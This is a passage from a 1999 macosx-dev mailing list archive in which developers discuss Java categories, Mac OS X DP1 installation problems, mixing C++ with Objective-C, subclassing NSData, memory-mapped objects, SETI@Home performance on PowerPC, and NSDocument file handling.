non-trivial, but >quantifiably reasonable, amount of effort invested in the VM and class >loader. After thinking about this I am convinced that you are probably right. My apologies. One who was more familar with static runtimes could think of a Java category as a type coercion to a derived class with no added data members (safe though illegal) . If one wanted to tinker with the virtual machine one might also add message forwarding, selection, delegation and posing - if one could sort out the security implications. Then all one needs is a better syntax... I wrote: >> Categories would also breach Java's security, such as it is. Bill Bumgarner responded: >Not true! > >There is no technical reason why a security manager couldn't >manage security regarding both the addition of new methods to existing >classes as well as overriding already existing methods on said classes. > >It is just another behaviour of the class loader. Just like the security >manager can be used to govern the ability to load various classes into the >system, it could easily do the same for categories. Java security also involves the Java type system and access control. As long as the category could not access private data and methods, nor substitute (hide) methods, then I see no problem with what you are proposing. I wrote: >> Also, folks we should keepo these sort of discussions in macosx-talk. This >> dev list is for questions and answers directly related to macosx >> development. Bill Bumgarner responded: >Actually, this is very appropriate to macosx-dev. In particular, the >lack of categories in Java (or a mechanism like it or support for >something that provides similar functionality in the context where this >limitation is the nastiest-- EOF), greatly increases the cost of >development and maintenance of codebases in Java versus ObjC. [big snip] I am not the list mom and don't mean to be a nag. If you disagree with my call, fine. But to quote from the list's directive: "This list is not for discussing what should be, it is for discussing (to the best of our knowledge) what what will be. We're not trying to affect Apple's (or anyone else's) direction here (not that that's not a worthwhile endeavor, it just belongs in a different forum). On this list, we are simply trying to help each other develop software for Mac OS X." Regards, Anders. ---------------------------------------------------------------- Anders Pytte Milkweed Software Ferguson Hill Voice: (802) 472-5142 Cabot VT 05647 Internet: anders@milkweed.com ---------------------------------------------------------------- From ak at prnet.de Sat Jul 3 02:30:19 1999 From: ak at prnet.de (Anjo Krank) Date: Thu Nov 3 14:42:10 2005 Subject: Can't install OS X Message-ID: >Mac OS X Server and Mac OS X DP1 can not coexist on the same physical disk. They don't even coexists well on different Disks; once you reboot into the Server, it proclaims the DR disk unreadable and foffer you to format it... Cheers, Anjo ------------------------------------------------------- "?fter mal passend was sagen" From phr at projectcenter.ch Sat Jul 3 04:14:01 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:10 2005 Subject: Booting in various OSes Message-ID: <9907031114.AA00485@projectcenter.ch> Hi, I have this problem: I first installed MOSXS, because I really don't need MacOS 8.x ...grin Then I bought Linux for my b/w G3, but to install this, I need a running MacOS... So I installed this on another partition, but now, every time I boot, I automatically get into MOSXS (what would be fine in general), how can I change this?! I couldn't get into OF, somehow I do sth wrong...?! To be a bit more on topic, what would it need to code som sort of a 'lilo' for the Mac?! I mean, if you have several OSes, you don't want to boot every time into MacOS to switch... Or does BootX already this job? sweet dreams, Phil PS: Reply privately, since this is somewhat offtopic...;-) --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From phr at projectcenter.ch Sat Jul 3 05:52:21 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:10 2005 Subject: NXBench Message-ID: <9907031252.AA00767@projectcenter.ch> Hi! There was this thread some weeks ago about DPS speed... I finally managed to release NXBench for MOSXS. It's not really new, it just runs on MOSXS, I hope..;-) You can get it at http://www.nice.ch/~phip/NXBench.2.6.b.P.tar.gz sweet dreams, Phil --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From owolf at advancenet.net Sat Jul 3 10:23:16 1999 From: owolf at advancenet.net (Scott Johnson) Date: Thu Nov 3 14:42:10 2005 Subject: LicensingKit beta available Message-ID: <199907031819.NAA06858@babba.advancenet.net> >My kit for licensing of applications on OPENSTEP 4.2 and MACOSX will be >available in beta at http://www.dtek.chalmers.se/~d95nhoj within the hour. >I'm uploading it right now. > >Unlike existing kits, this one will be extremely affordable. My target >price is $0. > >Regards, >John Hornkvist I can't afford $0, can you pay me to use it? ;) Scott Johnson P.S. Thanks John. ========================================================================== ORANGE WOLF SOFTWARE ========================================================================== From raoul at mobopro.com Sat Jul 3 12:03:39 1999 From: raoul at mobopro.com (Raoul Duke) Date: Thu Nov 3 14:42:10 2005 Subject: Workspace Manager content inspector References: <37505C22.CD8C1D5A@mobopro.com> Message-ID: <377E5E8B.BA459E50@mobopro.com> Raoul Duke wrote: > > Is it possible to install a custom Workspace Manager content inspector, as under > NEXTSTEP 3.3 via subclassing WMInspector? I haven't heard back from anybody on this, so for the record I assume this is not yet a published part of the Mac OS X Server API's. Hopefully, for future versions.... Cheers, Raoul From abridge at dcn.davis.ca.us Sat Jul 3 14:03:54 1999 From: abridge at dcn.davis.ca.us (Adam Bridge) Date: Thu Nov 3 14:42:10 2005 Subject: Can't install OS X In-Reply-To: <1281160635-3990344@evatac.com> Message-ID: <199907032103.OAA28491@wheel.dcn.davis.ca.us> On 7/2/99 at 5:42 PM, tom@evatac.com (Tom Carstensen) wrote: > After running the install program after booting up off the > OS X CD, it starts to setup the partition and i always get a > > "error .. setting up partition ... hit return to shutdown" > > (BTW -- return does nothing). > > I repeated and it happens again. I created a 1 meg HFS Extended > partition for Mac OS X. > > I have sucessfully installed Mac OS X Server on a partition > without problems... but the OS X instill will not work. You haven't given me a discription of your hardware configuration but I've had somewhat simliar problems with my beige G3. Basic configuration: G3, 192 MB RAM Internal 4GB ATA drive Internal ATA CD ROM drive Internal zip SCSI drive External SCSI (off back connector) 2 GB drive with 3 partitions (one is MacOS X Server) 17 GB drive with 3 partions SCSI Bus 1 2940UW SCSI 9 GB drive I find that it is ABSOLUTELY IMPOSSIBLE to run MacOS X (client) with any SCSI device energized off the buss. It just doesn't work. I have installed MacOS X on an internal partion of the ATA drive and it works, although I couldn't install without having all other SCSI devices turned off. Everything is properly terminated and works flawlessly under Mac OS X Server. So.........if you have anything at all hanging off the SCSI you might try working with that first. I've also had a dickens of a time booting from Mac OS X and then moving to Mac OS X Server. And I have to say that I installed the DP1 update-1 and didn't notice my developer experience becoming "more pleasant." Clearly there's some work to do there. I won't go into the issue about mice. Nope, not me. Welllllllll.......okay.......I'm normally a Kensington ThinkingMouse sorta guy with four buttons and two chords and stuff and I HATE losing it -- not to mention having my mouse behave like a slug when I shift to Mac OS X anything. This is a place where a generic driver as Apple has done for USB and for FireWire is going to pay off handsomely if they can make it work for MOSX. adam Bridge From dylan at mobopro.com Sat Jul 3 14:19:14 1999 From: dylan at mobopro.com (Dylan Kohler) Date: Thu Nov 3 14:42:10 2005 Subject: Examples of Objective-C and C++ Message-ID: <377E7E52.3C9DEE5@mobopro.com> Can anybody direct me to any examples of C++ calls made from Objective-C? =========================================== Dylan Kohler Monkey Boy Productions dylan@mobopro.com http://www.mobopro.com From epeyton at epicware.com Sat Jul 3 15:05:51 1999 From: epeyton at epicware.com (Eric Peyton) Date: Thu Nov 3 14:42:10 2005 Subject: Workspace Manager content inspector In-Reply-To: <377E5E8B.BA459E50@mobopro.com> Message-ID: I don't know what the chances of this are ... since the Workspace.app has been replaced by a MacOS api (carbon) app - why did they do that? Adding a simple inspector (which used to be very easy) may not be as easy anymore ... Eric On Sat, 3 Jul 1999, Raoul Duke wrote: > Raoul Duke wrote: > > > > Is it possible to install a custom Workspace Manager content inspector, as under > > NEXTSTEP 3.3 via subclassing WMInspector? > > I haven't heard back from anybody on this, so for the record I assume this is > not yet a published part of the Mac OS X Server API's. Hopefully, for future > versions.... > > Cheers, > Raoul > > Eric Peyton epeyton@epicware.com Software and Source for Mac OS X Server From kristoffer at hjemme.dk Sat Jul 3 15:24:09 1999 From: kristoffer at hjemme.dk (Kristoffer =?iso-8859-1?Q?Peterh=E4nsel?=) Date: Thu Nov 3 14:42:10 2005 Subject: Workspace Manager content inspector In-Reply-To: References: Message-ID: At 15:10 -0700 03/07/1999, Eric Peyton wrote: >I don't know what the chances of this are ... since the Workspace.app >has been replaced by a MacOS api (carbon) app - why did they do that? >Adding a simple inspector (which used to be very easy) may not be as easy >anymore ... Actually how can they have done that when carbon isn't supported until Mac OS X Client (Yeah. I know they demo'ed a Finder made in carbon at WWDC. But we have yet to see it in releases of any kind) ? No. The MacOS X Server Workspace.app is still a Yellow Box thing. But yes. It seems that they want to replace it with the Finder as a carbon app. And the reason for doing so COULD be that they want it to be a MacOS Finder with NeXT freatures and not the other way around (I for one dreams of a workspace where I can get rid of those horrible column views. And one where command-I is get info) Kristoffer Peterh?nsel - AKA Lord Tiran Kenja ------------------------------[Start Signature]------------------------------ ICQ: 109818 Web: Email: kristoffer@hjemme.dk -------------------------------[End Signature]------------------------------- From Malcolm_Crawford at plsys.co.uk Sat Jul 3 15:38:52 1999 From: Malcolm_Crawford at plsys.co.uk (mmalcolm crawford) Date: Thu Nov 3 14:42:10 2005 Subject: Workspace Manager content inspector In-Reply-To: References: Message-ID: <199907032238.XAA01074@jasmine.plsys.co.uk> Kristoffer wrote: > >I don't know what the chances of this are ... since the Workspace.app > >has been replaced by a MacOS api (carbon) app - why did they do that? > >Adding a simple inspector (which used to be very easy) may not be as easy > >anymore ... > > Actually how can they have done that when carbon isn't supported > until Mac OS X Client (Yeah. I know they demo'ed a Finder made in > carbon at WWDC. But we have yet to see it in releases of any kind) ? > You're missing Eric's point. There is no public API for the Yellow Workspace app, and since it's being replaced by a Carbon app, there's little hope for an enhanced Workspace app with suitable API... ... except that I think Eric may have forgotten about the CFBundle plugin architecture in Carbon, which might yet allow the inspector plugin architecture API for the new finder. The remainder of this belongs on -talk... > But yes. It seems that they want to replace it with the Finder as a > carbon app. And the reason for doing so COULD be that they want it to > be a MacOS Finder with NeXT freatures and not the other way around > Why on earth should it matter what they implement it in? They could just as easily implement those stupid, space-wasting counter-productive triangle things in Cocoa as they could in Carbon... > (I for one dreams of a workspace where I can get rid of those > horrible column views. > You already can. Just use Icon or List view. I hope that they add more functionality, not remove it. > And one where command-I is get info) > Command-1{2,3,4} already does this. If you really want to use Command-i, edit the Workspace nib. mmalc. From raoul at mobopro.com Sat Jul 3 15:55:05 1999 From: raoul at mobopro.com (Raoul Duke) Date: Thu Nov 3 14:42:10 2005 Subject: Workspace Manager content inspector References: <199907032238.XAA01074@jasmine.plsys.co.uk> Message-ID: <377E94C9.73537077@mobopro.com> To hopefully end the -dev version of this thread, here's the "not yet if at all" word from Apple, courtesy of David Young: David Young wrote: > > Apple tech. support told us it can't be done and the API is private, not > documented, and will or may not be revised or added or not added at a future > date. --Raoul From dylan at mobopro.com Sat Jul 3 16:37:46 1999 From: dylan at mobopro.com (Dylan Kohler) Date: Thu Nov 3 14:42:10 2005 Subject: Examples of Objective-C and C++ References: <377E7E52.3C9DEE5@mobopro.com> Message-ID: <377E9ECA.2DDB06AB@mobopro.com> > Can anybody direct me to any examples of C++ calls made from Objective-C? By fishing around, I've gotten closer.... I discovered a line in the docs that indicates a .M extension is the convention for files that mix C++ and Objective-C. With .M files, I can now make calls to C++ functions without the compiler complaining. I've found, however, that it won't link with Foundation functions in the code (Appkit and Foundation classes link fine): /usr/bin/ld: Undefined symbols: _NSInsetRect__FG7_NSRectff _NSRectFill__FG7_NSRect _terminate__Fv gnumake: *** [/Local/Users/dylan/Dev/TestCase/TestCase.app/TestCase] Error 1 This happens despite the fact that I link with Foundation, the last in the Framework list. I've boiled the problem down to the observation that building .M files (even stripped of C++ calls) leaves these symbols undefined. The same file (without the C++ calls) links fine if its extension is .m. Can anyone enlighten me as to what's going on? =========================================== Dylan Kohler Monkey Boy Productions dylan@mobopro.com http://www.mobopro.com From kcd at jumpgate.com Sat Jul 3 16:47:00 1999 From: kcd at jumpgate.com (Kenneth C. Dyke) Date: Thu Nov 3 14:42:10 2005 Subject: Examples of Objective-C and C++ In-Reply-To: <377E9ECA.2DDB06AB@mobopro.com> References: <377E9ECA.2DDB06AB@mobopro.com> Message-ID: <199907032347.QAA04377@babylon5.jumpgate.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1582 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990703/eba791e3/attachment.bin From mtrent at msn.fullfeed.com Sat Jul 3 17:00:03 1999 From: mtrent at msn.fullfeed.com (Mike Trent) Date: Thu Nov 3 14:42:10 2005 Subject: Examples of Objective-C and C++ Message-ID: <199907040000.TAA07308@fullfeed.msn.fullfeed.com> > I've found, however, that it won't link with Foundation > functions in the code (Appkit and Foundation classes link fine): > > /usr/bin/ld: Undefined symbols: > _NSInsetRect__FG7_NSRectff > _NSRectFill__FG7_NSRect > _terminate__Fv > gnumake: *** [/Local/Users/dylan/Dev/TestCase/TestCase.app/TestCase] Error When I see the _terminate error I just stick the following two lines in my project. I don't know much about C++, and I don't know why I'm doing this. Maybe someone here can explain? (I usually put these lines in a file called CPPJunk.cpp) void terminate(); void terminate(){exit(0);} As for NSInsetRect, wrapping my #import statements in a extern "C" block worked for my test project: extern "C" { #import } Mike Trent From dylan at mobopro.com Sat Jul 3 18:44:47 1999 From: dylan at mobopro.com (Dylan Kohler) Date: Thu Nov 3 14:42:10 2005 Subject: Examples of Objective-C and C++ References: <199907040000.TAA07308@fullfeed.msn.fullfeed.com> Message-ID: <377EBC8F.EF55E79A@mobopro.com> Mike Trent wrote: > > > I've found, however, that it won't link with Foundation > > functions in the code (Appkit and Foundation classes link fine): > > > > /usr/bin/ld: Undefined symbols: > > _NSInsetRect__FG7_NSRectff > > _NSRectFill__FG7_NSRect > > _terminate__Fv > > gnumake: *** [/Local/Users/dylan/Dev/TestCase/TestCase.app/TestCase] Error > > When I see the _terminate error I just stick the following two lines in my > project. I don't know much about C++, and I don't know why I'm doing this. > Maybe someone here can explain? > > (I usually put these lines in a file called CPPJunk.cpp) > void terminate(); > void terminate(){exit(0);} > > As for NSInsetRect, wrapping my #import statements in a extern "C" block > worked for my test project: > > extern "C" { > #import > } This did the trick. Thanks very much, Mike, John, Kenneth, and all! =========================================== Dylan Kohler Monkey Boy Productions dylan@mobopro.com http://www.mobopro.com From malte at oops.se Sun Jul 4 06:41:09 1999 From: malte at oops.se (Malte Tancred) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home Message-ID: Hi! We run seti on a few machines, a couple of iMacs, some PCs and an old HPPA RISC (715/100). The unit chunking is about twice as fast on the iMacs (266MHz, 96MB) compared to the Wintel (PII 450 MHz). Why this huge difference? Has the ppc version been tweaked in some vicious way, or what? Cheerio, Malte -- Malte Tancred, OOPS ab malte@oops.se http://www.oops.se From pirmin at pirmin.de Sun Jul 4 11:28:18 1999 From: pirmin at pirmin.de (pirmin) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? References: Message-ID: <377FA7C2.629F1199@pirmin.de> I've heard about something that might come close to categories: aspects. There is a tool "AspectJ" from Xerox for Java. It won't load categories dynamically but at least let you combine the sources. Has anyone tried it yet? -------------- next part -------------- A non-text attachment was scrubbed... Name: pirmin.vcf Type: text/x-vcard Size: 194 bytes Desc: Visitenkarte für pirmin Url : /mailman/archive/macosx-dev/attachments/19990704/98f610f5/pirmin.vcf From imyrvold at zajil.net Sun Jul 4 11:25:22 1999 From: imyrvold at zajil.net (Ivan C Myrvold) Date: Thu Nov 3 14:42:10 2005 Subject: Must override NSData's bytes() method Message-ID: I am subclassing NSData (public class ASN1Data extends NSData). In my application, I thought I could use the method ASN1Data.bytes (...), which is the super classes method. But when I do this, I get this error message: > Running 'ASN1Inspect.debug'... Jul 04 21:07:23 ASN1Inspect[2609] *** -length only defined for abstract class. Define -[ASN1Data length]! Why do I get this? I now need to override this method and implement my own bytes code to get it to work. By the way, the strange error message that I need to define length in ASN1Data does not work. I tried that, but I still get error messages. Ivan From bbum at codefab.com Sun Jul 4 11:34:54 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:10 2005 Subject: Must override NSData's bytes() method In-Reply-To: Message-ID: Subclassing class cluster objects is not immediately intuitve... It can be done in one of a couple of ways. The most common: - subclass the class cluster and implement the primitive methods. On NSData, I think you only need to implement length() and bytes(). - subclass the class cluster and encapsulate an instance of NSData in your subclass: public class MyData extends NSData { private NSData myEncapulsatedData; } Then, in the implementation, call myEncapulsatedData when you need to do pure data like things. Either way, you end up with an instance of something that looks and acts like an NSData, including being able to be cast to an NSData (important in Java) and responding YES/true to isKindOfClass(NSData). (In objc, you would typically add a category to NSData that provides factory methods to generate instances of your class. This allows one to choose to completely hide the concrete subclass, if appropriate). b.bum On Sun, 4 Jul 1999, Ivan C Myrvold wrote: > I am subclassing NSData (public class ASN1Data extends NSData). > > In my application, I thought I could use the method ASN1Data.bytes > (...), which is the super classes method. > > But when I do this, I get this error message: > > > Running 'ASN1Inspect.debug'... > Jul 04 21:07:23 ASN1Inspect[2609] *** -length only defined for > abstract class. Define -[ASN1Data length]! > > > Why do I get this? I now need to override this method and implement > my own bytes code to get it to work. By the way, the strange error > message that I need to define length in ASN1Data does not work. I > tried that, but I still get error messages. > > Ivan > > From bbum at codefab.com Sun Jul 4 11:48:03 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? In-Reply-To: <377FA7C2.629F1199@pirmin.de> Message-ID: Pirmin's message-- which my stupid mailer wouldn't excerpt-- gave a pointer to AspectJ for Java. URL here: http://www.parc.xerox.com/spl/projects/aop/aspectj/ It looks to be a bit of overkill-- it is an entire architecture for doing "aspect based programming" in Java. Reading through the first example, ApectJ loooks to be a really complex way of solving what is a very simple problem in a truly dynamic OO programming language. The first example is "logging every object instantiation". This is, of course, extremely difficult in Java because you either have to have a little hunk o' code in every constructor OR you have to have every single class extend a base class. In ObjC, SmallTalk, Python, CLOS, and other truly dynamic OO environments, such a feature is easy to implement. Simply dynamically replace the base class's constructor with a new implementation that calls the original constructor, then logs the instantiation. This same model can be extended out to abstract feature that only affect a given branch of the class hierarchy. b.bum From theisen at akaMail.com Sun Jul 4 12:00:20 1999 From: theisen at akaMail.com (Dirk Theisen) Date: Thu Nov 3 14:42:10 2005 Subject: Allocating objects in mmapped file? Message-ID: <1dufpbn.1vb2nzgex6pz4M@ascend-tk-p27.rhrz.uni-bonn.de> [ A copy of this message has been posted to the newsgroups ] [ comp.lang.objective-c ] [ comp.sys.next.programmer ] Hello! I had the idea of creating some simple ODB-like functionality by allocating ObjC objects at file mapped memory addresses. Has anybody tried this? I think there should at least be problems with the isa pointer to the class object which would also have to reside in the mapped memory partition for it to work. How could one accomplish this? Would a copy of the "Class" object work? Is is possible to put a category on "Class"? Regards, Dirk References I found on the net: http://www.performancecomputing.com/unixreview/backissu/9710/9710f2.htm and from the next-prog mailing list: Memory mapped files at fixed addresses William Lewis (wiml@milton.u.washington.edu) Wed, 11 Dec 91 13:36:02 -0800 * Messages sorted by: [ date ][ thread ][ subject ][ author ] * Next message: Douglas Simons: "Re: Compositing problem" * Previous message: Stuart Crawford: "Compositing problem" I think the question was not how to guarantee that the NeXT is capable of mapping the file, but how to guarantee that the address being mapped into is not allocated for other things. The idea being, I think, to build a complex data structure using pointers, write the whole thing out to a file, and then read it in at the same address so the pointers are still correct --- am I right? If this *is* the question at hand, then as far as I know, the only solution is to pick some large address and hope you haven't (a) malloced all the way up there or (b) loaded some sort of shlib at this address. This is, needless to say, not very elegant and prone to being broken in the future by insignificant-seeming modifications... OTOH, as far as I know, this is how shlibs themselves work (full name: "Fixed Virtual Memory Shared LIbrary", notice the "fixed"). Caveat: I haven't really looked at this. * Next message: Douglas Simons: "Re: Compositing problem" * Previous message: Stuart Crawford: "Compositing problem" -- Buy a Pentium III now, get your personal Big Brother FREE!!! http://theisen.home.pages.de/ From jjfeiler at relief.com Sun Jul 4 13:59:09 1999 From: jjfeiler at relief.com (John Jay Feiler) Date: Thu Nov 3 14:42:10 2005 Subject: Allocating objects in mmapped file? Message-ID: <199907040102.SAA24970@haque.relief.com> Theoreticaly doable, but not by any means trivial. There are two basic pointer problems that need to be solved -- pointers from your mapped memory to non-mapped memory, and pointers from mapped memory to mapped memory. Objects in your mapped memory pages will always point at their class structures in non-mapped memory, and there's no way to guarantee that those class structures will be at the same memory location when the pages are mapped in. At the very least, you'd have to reset the isa pointers whenever you mapped a page into memory. You could leverage the allocWithZone: stuff to make sure that your objects were allocced in the correct memory pages, but some objects don't obey zones and stuff, so there'd be a bunch of checking to do. All in all, not something I'd bet on getting working quickly..... J > From: theisen@akaMail.com (Dirk Theisen) > Hello! > > I had the idea of creating some simple ODB-like functionality by > allocating ObjC objects at file mapped memory addresses. > > Has anybody tried this? > > I think there should at least be problems with the isa pointer to the > class object which would also have to reside in the mapped memory > partition for it to work. How could one accomplish this? > Would a copy of the "Class" object work? > Is is possible to put a category on "Class"? > > Regards, > Dirk -- John Feiler jjfeiler@relief.com From rcfa at cubiculum.com Sun Jul 4 14:15:21 1999 From: rcfa at cubiculum.com (Ronald C.F. Antony) Date: Thu Nov 3 14:42:10 2005 Subject: Allocating objects in mmapped file? In-Reply-To: <199907040102.SAA24970@haque.relief.com> References: <199907040102.SAA24970@haque.relief.com> Message-ID: <199907042115.RAA08225@kannix.cubiculum.com> > Objects in your mapped memory pages will always point at their class > structures in non-mapped memory, and there's no way to guarantee > that those class structures will be at the same memory location when > the pages are mapped in. At the very least, you'd have to reset the > isa pointers whenever you mapped a page into memory. What really should be done is to redo the frameworks in the context of persistent objects, where all objects reside in a globally unique memory space. With 128 or 64-bit addressing, something like that would be doable, one could even maintain different versions of the same framework in parallel in the same global memory space. Possibly one could have such an external virutal address space and some OS functionality that translates automatically between the internal 32bit address space and the external space when paging things in. In any case, not a trivial thing. However, various object databases that keep both the class definitions and the object instance data in the database have solved these issues, so it would be doable. Unfortunately, with Apple no longer being a leader and being happy to be a Java follower, such developments are pipe-dreams.... Ronald ============================================================================== "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man." G.B. Shaw | rcfa@cubiculum.com | NeXT-mail welcome From ryan at omnigroup.com Sun Jul 4 16:35:29 1999 From: ryan at omnigroup.com (Ryan Dingman) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home Message-ID: <199907042335.QAA12413@tapeworm.omnigroup.com> > Hi! > > We run seti on a few machines, a couple of iMacs, some PCs and an old HPPA > RISC (715/100). The unit chunking is about twice as fast on the iMacs > (266MHz, 96MB) compared to the Wintel (PII 450 MHz). > > Why this huge difference? > Has the ppc version been tweaked in some vicious way, or what? Are you running the MacOS 8.x or the MacOS X Server version of Seti@Home? I can't speak for the MacOS 8.x version because I didn't port it. However, I just did a straight port to MacOS X Server -- no optimizations. I'm glad to hear that Seti@Home is getting good performance on PPC in either case. I hope this answers your question. ryan -- Ryan Dingman Omni Development, Inc. ryan@omnigroup.com From cybergrog at bigpond.com Sun Jul 4 19:23:51 1999 From: cybergrog at bigpond.com (Greg Hulands) Date: Thu Nov 3 14:42:10 2005 Subject: Serial Support for OSXS Message-ID: <02222510644086@domain1.bigpond.com> Does anybody know when serial ports will get supported in OSXS? Will it be when the IOKit is released? Greg From malte at oops.se Sun Jul 4 23:43:00 1999 From: malte at oops.se (Malte Tancred) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home Message-ID: > Are you running the MacOS 8.x or the MacOS X Server version of > Seti@Home? I'm using the MOSXS port. > I can't speak for the MacOS 8.x version because I didn't > port it. However, I just did a straight port to MacOS X Server -- no > optimizations. I suppose wintel suffers from some graphical overhead, but twice(!) as fast? Is there some instruction set in the ppc that happens to be very "right" for Seti? I'd be much interested a technical description... > I'm glad to hear that Seti@Home is getting good > performance on PPC in either case. > > I hope this answers your question. > > ryan Yes it's nice. Lets our iMacs make up for our Pentiums. :-) But still, I can't help but wonder why the ppc is so fast. Thanks, Malte -- Malte Tancred, OOPS ab malte@oops.se http://www.oops.se From kristoffer at hjemme.dk Mon Jul 5 00:46:47 1999 From: kristoffer at hjemme.dk (Kristoffer =?iso-8859-1?Q?Peterh=E4nsel?=) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home In-Reply-To: References: Message-ID: At 00:02 -0700 05/07/1999, Malte Tancred wrote: > > Are you running the MacOS 8.x or the MacOS X Server version of > > Seti@Home? > >I'm using the MOSXS port. > > > > I can't speak for the MacOS 8.x version because I didn't > > port it. However, I just did a straight port to MacOS X Server -- no > > optimizations. > >I suppose wintel suffers from some graphical overhead, but twice(!) as fast? >Is there some instruction set in the ppc that happens to be very "right" for >Seti? I'd be much interested a technical description... Acturlly it's simple. The 750 (G3) chip is just that much faster doing the calc's needed by the seti@home client. Even the MacOS 8.x client is a good deal faster then the Windows client in comparable machines. (At least that's what I have seen). Remember Appls's bytemarks anyone? (Well Apple didn't invent those but they use them alot ;). This is one of the cases where they speak the truth it seems. > > > I'm glad to hear that Seti@Home is getting good > > performance on PPC in either case. > > > > I hope this answers your question. > > > > ryan > >Yes it's nice. Lets our iMacs make up for our Pentiums. :-) >But still, I can't help but wonder why the ppc is so fast. Kristoffer Peterh?nsel - Just someone... From bierman at apple.com Mon Jul 5 01:25:27 1999 From: bierman at apple.com (Peter Bierman) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home In-Reply-To: Message-ID: >Yes it's nice. Lets our iMacs make up for our Pentiums. :-) >But still, I can't help but wonder why the ppc is so fast. The PowerPC really is that much faster than a same-MHz Pentium. There are a million things that make up percieved performance though, so the 2x advantage really only shines with a CPU intensive app like SETI@Home, or Photoshop filters. This is another great example of how a good compiler helps too. Has the Mac OS client been built using MrC? (available at Apple's dev tools website.) MrC does some cool optimizations that Metrowerks compiler doesn't. -pmb -- "UNIX shells in Mac OS X should be unneeded but functional... and have the same installed base as MPW." From rvamerongen at zeelandnet.nl Mon Jul 5 05:14:16 1999 From: rvamerongen at zeelandnet.nl (R.H van Amerongen) Date: Thu Nov 3 14:42:10 2005 Subject: MacOSXServer & MacOSX Message-ID: Hi all I will install DP1 soon (tommorow or so), but because of limited space I have to remove MacOS X Server. Before I will do this I have some questions, ( answers I couldn't find in the tremendously documentation of DP1 ) and hope you can help me out. First: Can I exchange and run (today) my YB app. from MacOSXServer to MacOSX and visa versa. 2. Can I go on with my current MacOSXServer YB project in DP1? 3. Does it have (all) the dev. tools as in MacOSXServer? 4. Is it stable enough? 5. Does it run well on a 7500 with a 604? I did read somewhere about a problem with the Assistant. 6. Does someone know when DP2 will come? Greetings Ren? Because of DP1 Please reply privately. From rvamerongen at zeelandnet.nl Mon Jul 5 05:22:51 1999 From: rvamerongen at zeelandnet.nl (R.H van Amerongen) Date: Thu Nov 3 14:42:10 2005 Subject: Old Nib Message-ID: Hi How can I open an old NS nib file into MacosXServer? or Is there an utilitie who is converting this? Greetings Ren? From nathand at senet.com.au Mon Jul 5 05:22:12 1999 From: nathand at senet.com.au (Nathan Day) Date: Thu Nov 3 14:42:10 2005 Subject: First Program Message-ID: <199907051226.VAA02173@pluto.senet.com.au> I thought I'd write a text editor for my first App. I've got it saving and reading files, it can read files created by 'TextEdit.app' that comes with Mac OS X but 'TextEdit.app' complains about the files that I create with my App. What's going on. Also I've implemented reading and writing by overriding the 'writeToFile:ofType:' and 'readFromFile:ofType' methods of NSDocument, in 'writeToFile:ofType:' method I simply send the message 'writeRTFToFile:atomically:' to the TextView to save it. In 'readFromFile:ofType' I just store the path of the file and then in 'windowControllerDidLoadNib:' I send a 'readRTFFromFile:' message to the TextView to read it in since only then has the TextView been created. This doesn't seem like a very satisfactory way to do it. What way should I do it. -- Nathan Day nathand@senet.com.au From ccunning at math.ohio-state.edu Mon Jul 5 07:47:49 1999 From: ccunning at math.ohio-state.edu (Chad Cunningham) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home References: Message-ID: <3780C546.DAC91F60@math.ohio-state.edu> I seem to have the opposite. I've always found my G3 to be fast, but my PII 350/128 megs ram running linux runs through the Seti@Home a good bit faster than my G3400/128 megs ram tower running OSXS. Peter Bierman wrote: > >Yes it's nice. Lets our iMacs make up for our Pentiums. :-) > >But still, I can't help but wonder why the ppc is so fast. > > The PowerPC really is that much faster than a same-MHz Pentium. There are a > million things that make up percieved performance though, so the 2x > advantage really only shines with a CPU intensive app like SETI@Home, or > Photoshop filters. > > This is another great example of how a good compiler helps too. Has the Mac > OS client been built using MrC? (available at Apple's dev tools website.) > > MrC does some cool optimizations that Metrowerks compiler doesn't. > > -pmb > > -- > "UNIX shells in Mac OS X should be unneeded but functional... > and have the same installed base as MPW." -- Chad Cunningham ccunning@math.ohio-state.edu This message is imaginary, please rotate your display 90 degrees and try again. From maury at OAAI.COM Mon Jul 5 08:12:56 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:10 2005 Subject: First Program Message-ID: <199907051507.LAA18474@OAAI.COM> > I thought I'd write a text editor for my first App. I've got it saving and > reading files, it can read files created by 'TextEdit.app' that comes with > Mac OS X but 'TextEdit.app' complains about the files that I create with my > App. What's going on. What's the error? > Also I've implemented reading and writing by overriding the > 'writeToFile:ofType:' and 'readFromFile:ofType' methods of NSDocument, in > 'writeToFile:ofType:' method I simply send the message > 'writeRTFToFile:atomically:' to the TextView to save it. In > 'readFromFile:ofType' I just store the path of the file and then in > 'windowControllerDidLoadNib:' I send a 'readRTFFromFile:' message to the > TextView to read it in since only then has the TextView been created. This > doesn't seem like a very satisfactory way to do it. What way should I do it. You're definitely not leveraging the NSDocument engine enough, you'll be able to make your code smaller and easier with a few minor changes. First off, if you've implemented the pasteboard ops for your app, then I highly recommend using dataRepresentationOfType: and loadDataRepresentation:ofType: as your only form of input and output. Wire these two methods to your existing pasteboard code, a few lines typically, you're done. Essentially you should check the type of the data being sent to you (it's just a string for now) then load the NSData it hands you onto the pasteboard with the type you use internally. If you use standard NS types for most things, you can likely do this in a single line by setting the type on the pboard to whatever it passes to you. The same for export, effectively you do a select-all, copy, and you're done. I recommend using "pasteboardWithUniqueName" for 